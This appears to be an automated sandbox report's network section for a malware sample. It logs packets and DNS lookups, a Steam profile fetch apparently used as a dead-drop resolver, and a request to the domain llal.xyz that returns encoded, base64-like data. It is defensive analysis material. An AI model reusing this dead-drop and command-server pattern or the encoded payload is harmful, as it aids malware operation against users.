Jun 1, 2024 17:42:04.127656937 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.127672911 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.127682924 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.127692938 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.127734900 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.128371954 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.128427029 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.128434896 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.128443003 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.128468990 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.128500938 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.128519058 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.128539085 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.128551006 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.129300117 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.129332066 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.129352093 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.129389048 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.129389048 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.129389048 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.129399061 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.129522085 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.129540920 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.129795074 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.243433952 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.243513107 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.243542910 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.244507074 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.244507074 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.244524002 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.248516083 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.254582882 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.254663944 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.254693985 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.254719019 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.254735947 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.254746914 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.254826069 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.254826069 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.254826069 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.255002022 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.256515026 CEST	49709	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.256545067 CEST	443	49709	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.376463890 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.376502991 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.378571033 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.378571033 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.378624916 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.988820076 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.990160942 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.990160942 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.990160942 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.990160942 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.990160942 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:04.990191936 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.990210056 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.990220070 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:04.990226984 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:05.377907038 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:05.378036976 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:05.378050089 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:05.378081083 CEST	443	49710	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:05.378110886 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:05.378218889 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:05.378218889 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:05.378218889 CEST	49710	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:06.612850904 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:06.612914085 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:06.613009930 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:06.613226891 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:06.613241911 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.212759018 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.212923050 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.213341951 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.213354111 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.213532925 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.213546991 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.213630915 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.213646889 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.213684082 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.213686943 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.606257915 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.606328011 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.606337070 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.606394053 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.606455088 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.606477976 CEST	443	49711	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:07.606506109 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:07.606527090 CEST	49711	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:08.748660088 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:08.748692036 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:08.748775959 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:08.749193907 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:08.749209881 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.357518911 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.357686996 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.358241081 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.358247995 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.358442068 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.358448029 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.358608007 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.358624935 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.358738899 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.358745098 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.733045101 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.733118057 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.733125925 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.733179092 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.733278990 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.733297110 CEST	443	49712	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:09.733311892 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:09.733342886 CEST	49712	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:10.819395065 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:10.819442034 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:10.819531918 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:10.819852114 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:10.819865942 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.425451994 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.425524950 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.425940990 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.425949097 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.426127911 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.426132917 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.426294088 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.426294088 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.426310062 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.426318884 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.819138050 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.819209099 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.819386005 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.819386959 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.819580078 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.819580078 CEST	49713	443	192.168.2.10	188.114.97.3
Jun 1, 2024 17:42:11.819607019 CEST	443	49713	188.114.97.3	192.168.2.10
Jun 1, 2024 17:42:11.819659948 CEST	49713	443	192.168.2.10	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2024 17:42:01.288255930 CEST	52708	53	192.168.2.10	1.1.1.1
Jun 1, 2024 17:42:01.297350883 CEST	53	52708	1.1.1.1	192.168.2.10
Jun 1, 2024 17:42:02.968707085 CEST	64086	53	192.168.2.10	1.1.1.1
Jun 1, 2024 17:42:02.983206987 CEST	53	64086	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2024 17:42:01.288255930 CEST	192.168.2.10	1.1.1.1	0x3743	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jun 1, 2024 17:42:02.968707085 CEST	192.168.2.10	1.1.1.1	0xf6a2	Standard query (0)	llal.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jun 1, 2024 17:42:01.297350883 CEST	1.1.1.1	192.168.2.10	0x3743	No error (0)	steamcommunity.com	104.102.42.29	A (IP address)	IN (0x0001)	false
Jun 1, 2024 17:42:02.983206987 CEST	1.1.1.1	192.168.2.10	0xf6a2	No error (0)	llal.xyz	188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 1, 2024 17:42:02.983206987 CEST	1.1.1.1	192.168.2.10	0xf6a2	No error (0)	llal.xyz	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

llal.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49708	104.102.42.29	443	7584	C:\Users\user\Desktop\0x001900000002ab40-59.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-01 15:42:02 UTC	206	OUT	GET /profiles/76561199619938930 HTTP/1.1 User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603 Host: steamcommunity.com Cache-Control: no-cache
2024-06-01 15:42:02 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 01 Jun 2024 15:42:02 GMT Content-Length: 34764 Connection: close Set-Cookie: sessionid=872facd2b398d80218604df1; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C129b19db70bc2b7ff2901c827e2c9472; Path=/; Secure; HttpOnly; SameSite=None
2024-06-01 15:42:02 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-06-01 15:42:02 UTC	16384	IN	Data Raw: 61 76 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0d 0a 09 09 09 09 09 53 55 50 50 4f 52 54 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 Data Ascii: av" href="https://help.steampowered.com/en/">SUPPORT</a></div><script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'super
2024-06-01 15:42:02 UTC	3768	IN	Data Raw: 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 Data Ascii: ;focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script>
2024-06-01 15:42:02 UTC	98	IN	Data Raw: 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: </div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49709	188.114.97.3	443	7584	C:\Users\user\Desktop\0x001900000002ab40-59.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-01 15:42:03 UTC	210	OUT	GET /ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d HTTP/1.1 User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603 Host: llal.xyz Cache-Control: no-cache
2024-06-01 15:42:04 UTC	575	IN	HTTP/1.1 200 OK Date: Sat, 01 Jun 2024 15:42:03 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hv2F14leQl0J%2FlwjhN8c9MUMWGnm%2FVRoK6rHWjDmpVwam5aUYq6s4s%2F2Bpl2gp%2BmoQIYfUni8pOfjMN7NxhefnSfMJ4JZQ%2FzHAuqvVXnqXpxcBuQq5Mk4%2FYLAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88d04fb8fca446d7-DFW alt-svc: h3=":443"; ma=86400
2024-06-01 15:42:04 UTC	794	IN	Data Raw: 33 37 63 65 0d 0a 51 7a 38 53 45 52 5a 62 46 51 67 54 57 7a 49 56 45 68 45 55 51 6a 30 53 45 79 41 59 46 52 49 54 57 68 73 4e 45 68 46 69 5a 47 6c 52 43 52 59 56 50 52 49 54 49 42 67 56 45 68 4e 45 47 77 30 53 45 56 78 6b 65 56 31 53 56 56 56 72 62 6e 52 76 56 31 4a 65 56 47 68 6c 64 46 70 42 62 31 56 51 62 6d 31 68 53 6c 4a 41 45 30 52 5a 51 56 4d 54 47 44 4d 58 45 68 4d 67 47 42 55 51 52 52 59 44 46 77 4d 66 43 68 67 56 45 68 45 55 47 52 56 43 58 53 49 43 46 52 42 53 58 45 74 59 58 31 59 75 58 55 31 58 45 7a 34 5a 46 78 49 54 66 52 51 2f 45 68 45 55 47 55 77 34 45 79 41 59 46 52 49 52 46 6c 63 56 43 42 4d 69 57 6d 6c 75 55 67 77 62 47 7a 67 54 49 42 67 56 45 68 45 57 53 52 55 49 45 79 4a 6b 61 58 35 65 56 31 68 62 62 6d 39 48 56 31 70 56 58 56 46 6c 61 Data Ascii: 37ceQz8SERZbFQgTWzIVEhEUQj0SEyAYFRITWhsNEhFiZGlRCRYVPRITIBgVEhNEGw0SEVxkeV1SVVVrbnRvV1JeVGhldFpBb1VQbm1hSlJAE0RZQVMTGDMXEhMgGBUQRRYDFwMfChgVEhEUGRVCXSICFRBSXEtYX1YuXU1XEz4ZFxITfRQ/EhEUGUw4EyAYFRIRFlcVCBMiWmluUgwbGzgTIBgVEhEWSRUIEyJkaX5eV1hbbm9HV1pVXVFla
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 50 78 49 52 46 42 6b 58 45 68 46 30 47 67 38 53 41 42 67 7a 46 78 49 54 49 42 67 56 45 45 46 61 47 77 30 53 45 57 4e 51 52 31 31 63 55 52 64 53 53 6c 59 69 4d 68 55 53 45 52 52 45 47 7a 67 54 49 42 67 56 53 54 73 55 47 52 63 53 45 79 41 61 57 78 41 4c 46 42 74 56 62 6d 39 6a 41 42 63 65 4f 78 51 5a 46 78 49 54 49 42 70 46 45 41 73 55 47 32 74 75 66 32 39 62 56 46 35 74 61 48 35 59 58 56 52 73 58 57 6c 75 63 6c 78 4c 57 46 39 57 49 48 74 55 58 46 42 47 51 47 74 75 5a 6e 4e 64 52 78 4a 31 56 55 31 57 45 42 38 4b 47 42 55 53 45 52 51 5a 46 55 59 52 4f 68 67 45 48 6a 73 55 47 52 63 53 45 79 41 61 52 56 77 54 44 68 6b 56 55 56 74 79 56 31 68 58 48 31 46 42 55 68 41 35 49 42 67 56 45 6b 77 59 4d 78 63 53 45 79 42 44 50 78 49 52 46 42 6b 58 45 68 46 75 47 67 38 Data Ascii: PxIRFBkXEhF0Gg8SABgzFxITIBgVEEFaGw0SEWNQR11cURdSSlYiMhUSERREGzgTIBgVSTsUGRcSEyAaWxALFBtVbm9jABceOxQZFxITIBpFEAsUG2tuf29bVF5taH5YXVRsXWluclxLWF9WIHtUXFBGQGtuZnNdRxJ1VU1WEB8KGBUSERQZFUYROhgEHjsUGRcSEyAaRVwTDhkVUVtyV1hXH1FBUhA5IBgVEkwYMxcSEyBDPxIRFBkXEhFuGg8
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 46 30 69 41 68 55 51 55 32 68 6c 56 41 41 42 49 68 51 2f 45 68 45 55 47 52 63 53 45 58 41 61 44 78 49 54 61 47 56 37 58 56 42 68 56 47 6c 75 63 6c 46 58 51 33 42 42 62 30 39 47 56 30 4e 6f 5a 57 4a 42 56 6e 49 59 63 56 4e 46 56 52 73 62 4f 42 4d 67 47 42 55 53 45 52 5a 4e 46 51 67 54 4d 52 51 2f 45 68 45 55 47 52 63 53 45 58 42 57 46 77 67 52 46 6c 70 53 58 45 64 69 53 6c 70 46 51 6c 46 4c 47 56 64 4c 5a 52 6f 2f 45 68 45 55 47 55 6f 65 4f 53 41 59 46 52 4a 4b 50 68 6b 58 45 68 4d 67 47 42 64 63 45 77 34 5a 46 56 42 76 58 46 73 48 41 52 4d 59 4d 78 63 53 45 79 41 59 46 52 42 42 46 67 4d 58 45 47 39 63 64 46 70 52 55 46 68 6c 61 33 46 62 63 6c 64 59 57 30 52 5a 5a 57 74 6e 51 47 56 4b 46 58 5a 51 51 46 67 56 48 6a 6b 67 47 42 55 53 45 52 51 62 51 78 41 4a Data Ascii: F0iAhUQU2hlVAABIhQ/EhEUGRcSEXAaDxITaGV7XVBhVGluclFXQ3BBb09GV0NoZWJBVnIYcVNFVRsbOBMgGBUSERZNFQgTMRQ/EhEUGRcSEXBWFwgRFlpSXEdiSlpFQlFLGVdLZRo/EhEUGUoeOSAYFRJKPhkXEhMgGBdcEw4ZFVBvXFsHARMYMxcSEyAYFRBBFgMXEG9cdFpRUFhla3FbcldYW0RZZWtnQGVKFXZQQFgVHjkgGBUSERQbQxAJ
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 52 45 47 7a 67 54 49 42 67 56 53 54 73 55 47 52 63 53 45 79 41 61 57 78 41 4c 46 42 74 56 62 6d 39 6a 43 77 4d 51 48 54 34 5a 46 78 49 54 49 42 67 58 51 68 4d 4f 47 52 56 75 62 30 78 58 56 6c 4e 64 61 47 56 30 58 56 78 33 56 31 74 75 62 58 64 57 57 45 56 63 62 6d 52 70 5a 30 4a 52 53 78 64 32 55 6e 52 5a 46 78 34 37 46 42 6b 58 45 68 4d 67 47 6b 45 51 43 78 51 49 47 7a 67 54 49 42 67 56 45 68 45 57 53 56 6b 51 43 53 41 61 56 6c 31 65 51 31 5a 5a 48 46 5a 34 58 52 63 34 45 52 51 5a 46 30 38 66 43 68 67 56 45 68 46 50 4d 78 63 53 45 79 41 59 46 52 42 66 46 67 4d 58 45 46 46 63 5a 46 59 42 42 42 59 56 50 52 49 54 49 42 67 56 45 68 4e 45 47 77 30 53 45 56 78 6b 65 56 31 53 56 56 56 72 62 6e 42 68 54 46 52 65 57 46 70 59 63 45 42 63 64 55 68 70 62 6e 4a 64 54 Data Ascii: REGzgTIBgVSTsUGRcSEyAaWxALFBtVbm9jCwMQHT4ZFxITIBgXQhMOGRVub0xXVlNdaGV0XVx3V1tubXdWWEVcbmRpZ0JRSxd2UnRZFx47FBkXEhMgGkEQCxQIGzgTIBgVEhEWSVkQCSAaVl1eQ1ZZHFZ4XRc4ERQZF08fChgVEhFPMxcSEyAYFRBfFgMXEFFcZFYBBBYVPRITIBgVEhNEGw0SEVxkeV1SVVVrbnBhTFReWFpYcEBcdUhpbnJdT
2024-06-01 15:42:04 UTC	1369	IN	Data Raw: 62 45 41 73 55 47 31 56 75 62 32 4d 42 46 78 34 37 46 42 6b 58 45 68 4d 67 47 6b 55 51 43 78 51 62 61 32 35 2f 62 31 74 55 58 6d 31 6f 64 46 35 52 51 57 39 4c 57 6c 52 46 61 47 56 79 56 6c 52 6c 5a 47 6c 6e 51 6c 46 4c 46 33 5a 53 64 46 6b 58 48 6a 73 55 47 52 63 53 45 79 41 61 51 52 41 4c 46 41 67 62 4f 42 4d 67 47 42 55 53 45 52 5a 4a 57 52 41 4a 49 42 70 59 51 56 52 51 58 6c 49 63 56 6e 68 64 46 7a 67 52 46 42 6b 58 54 78 38 4b 47 42 55 53 45 55 38 7a 46 78 49 54 49 42 67 56 45 46 38 57 41 78 63 51 55 56 78 6b 56 67 4d 43 46 68 55 39 45 68 4d 67 47 42 55 53 45 30 51 62 44 52 49 52 58 47 52 6e 58 56 42 5a 55 46 6c 56 62 31 78 33 52 56 64 44 56 52 6c 6b 58 56 56 30 54 31 52 41 56 47 68 6c 65 45 4a 57 63 6c 6b 56 59 55 56 56 57 31 74 58 45 53 77 79 46 52 Data Ascii: 